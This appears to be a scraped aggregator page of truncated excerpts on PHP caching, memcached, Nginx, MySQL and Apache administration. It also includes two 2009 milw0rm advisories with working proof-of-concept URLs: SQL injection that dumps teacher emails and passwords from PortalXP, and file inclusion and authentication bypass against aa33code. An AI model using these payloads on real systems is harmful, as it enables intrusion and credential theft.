Q. I’ve followed your Xcache php 5.x opcode cacher installation under RHEL 5 for my vbulltin board. I see good boosting in performance. Now I’ve installed 2nd VB forum on the same server and I see all sub-forums hosted from 1st forum. So I had to disable Xcache. I want Xcache for both board on same host. How [...]
I’m using RHEL 6 / CentOS 6.x and install the memcached server. However, whey I try to start the server using service memcached start command, I get the following error: Starting memcached: failed to set rlimit for open files. Try running as root or requesting smaller maxconns value. [FAILED] How do I fix this problem? [...]
——————Mobilelib Gold v3 (Auth Bypass/SQL) Multiple Remote Vulnerabilities—————————- # # #### # ### ## ### #### #### ### ##### #### #### ### # ### #### ###### ## # # ## # # # # # # # # # # # # # # # # # # # ## # # # # # [...]
############################################################################## [+] PortalXP – Teacher Edition 1.2 Multiple SQL Injection Vulnerabilities [+] Discovered By SirGod [+] http://insecurity-ro.org [+] http://h4cky0u.org ############################################################################## [+] Download : http://sourceforge.net/projects/portalxp/files/portalxp%20-%20teacher%20edition/Version%201.2/PortalXP1-2.zip/download [+] SQL Injection – PoC’s http://127.0.0.1/calendar.php?id=null+union+all+select+1,2,3,concat_ws(0x3a,email,teacherpass),5+from+teacher– http://127.0.0.1/news.php?id=null+union+all+select+1,2,3,concat_ws(0x3a,email,teacherpass),5+from+teacher– http://127.0.0.1/links.php?id=null+union+all+select+1,2,3,concat_ws(0x3a,email,teacherpass),5+from+teacher– http://127.0.0.1/assignments.php?assignment_id=1+union+all+select+1,2,3,4,concat_ws(0x3a,email,teacherpass),6,7,8,9+from+teacher– ########################################################################################################################################### # milw0rm.com [2009-08-01]
Update: APC 3.1.2 has been released at http://pecl.php.net/get/APC-3.1.2.tgz so same instructions as below just replace 3.0.14 with 3.1.2 APC Cache http://pecl.php.net/package/APC seems to work well with PHP 4.4.1 (you should be running PHP 4.4.1 and nothing lower due to security fixes etc). Notes on installing Alternative PHP Cache (APC): Download and istall: $ wget http://pecl.php.net/get/APC-3.0.14.tgz [...]
here is a simple way to call a simple bash script inside php script page and have a return value printed to your web page. below is a simple bash script called php.sh #!/bin/bash echo “Successful call from PHP : “ exit 0 chmod 700 so it would be root executable, and saved it to [...]
################################################################################## [+] aa33code 0.0.1 (LFI/Auth Bypass/DCD) Multiple Remote Vulnerabilites [+] Discovered By SirGod [+] http://insecurity-ro.org [+] http://h4cky0u.org ################################################################################## [+] Download : http://sourceforge.net/projects/aa33code/files/aa33code/0.0.1/aa33code-0.0.1.tar.gz/download [+] Local File Inclusion – PoC http://127.0.0.1/[path]/reviews.php?artid=../../../../../../boot.ini%00 [+] Authentication Bypass – PoC http://127.0.0.1/[path]/artedit/main.php?aa33user=admin [+] Database Configuration Disclosure – PoC http://127.0.0.1/[path]/inc/mysql.inc ################################################################################## # milw0rm.com [2009-08-01] Incoming search terms:lfi bypass (1)
This HowTo describes the implementation of Nginx with php5 support (through FastCGI). The fast-cgi process will be initiated via spawn-fcgi. What for? Nginx is a great replacement of Apache with very low memory footprint and contrary to Lighttpd, doesn’t suffer from memory leak over time. You can then use all the memory left to unleash [...]
Changing the collation for all tables in a MySQL database can be time consuming depending on how many tables you have. That’s why we recommend using the following PHP script for changing the collation for all tables at a time: <?php $db = mysql_connect(‘localhost’,’myuser_mydbuser‘,’mypassword‘); if(!$db) echo “Cannot connect to the database – incorrect details”; mysql_select_db(‘myuser_mydbname’); [...]
This guide explains how to set up mod_geoip with Apache2 on a Fedora 9 system. mod_geoip looks up the IP address of the client end user. This allows you to redirect or block users based on their country. You can also use this technology for your OpenX (formerly known as OpenAds or phpAdsNew) ad server [...]
